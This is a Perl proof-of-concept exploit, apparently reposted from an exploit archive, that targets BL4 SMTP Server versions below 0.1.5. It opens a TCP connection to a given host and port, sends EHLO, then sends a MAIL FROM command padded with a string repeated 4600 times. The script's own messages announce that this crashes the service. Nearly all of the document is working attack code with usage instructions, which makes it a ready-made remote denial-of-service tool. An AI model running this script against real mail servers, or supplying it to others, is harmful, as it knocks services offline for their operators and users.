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BL4 SMTP Server < 0.1.5 Remote Buffer Overflow PoC
================================================== BL4 SMTP Server < 0.1.5 Remote Buffer Overflow PoC ================================================== #!/usr/bin/perl use IO::Socket; use Socket; my($socket) = ""; if($#ARGV < 1 | $#ARGV > 2) {usage()} if($#ARGV > 2) { $prt = $ARGV[1] } else { $prt = "25" }; $adr = $ARGV[0]; $prt = $ARGV[1]; $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr, PeerPort=>$prt, Reuse=>1) or die "Error: cant connect to $adr:$prt\n"; print " -- Connecting To SMTP server at $adr port $prt ... \n"; sleep(1); print $socket "EHLO yahoo.com\r\n" and print " -- Sending Request to $adr .....\n" or die "Error : can't send Request\n"; sleep(1); print $socket "MAIL FROM:" . "jessy" x 4600 . "\r\n" and print " -- Sending Buffer to $adr .....\n"; sleep(1); printf("[+]Ok!\n"); printf("[+]Crash service.....\n"); printf("[~]Done.\n"); close($socket); sub usage() { print "\n=========================================\r\n"; print " BL4's SMTP server Remote DOS \r\n"; print "=========================================\r\n"; print " Bug Found by Dedi Dwianto \r\n"; print " www.echo.or.id #e-c-h-o irc.dal.net \r\n"; print " Echo Security Research Group \r\n"; print "=========================================\r\n"; print " Usage: perl bl4-explo.pl [target] [port] \r\n\n"; exit(); } # 0day.today [2024-12-25] #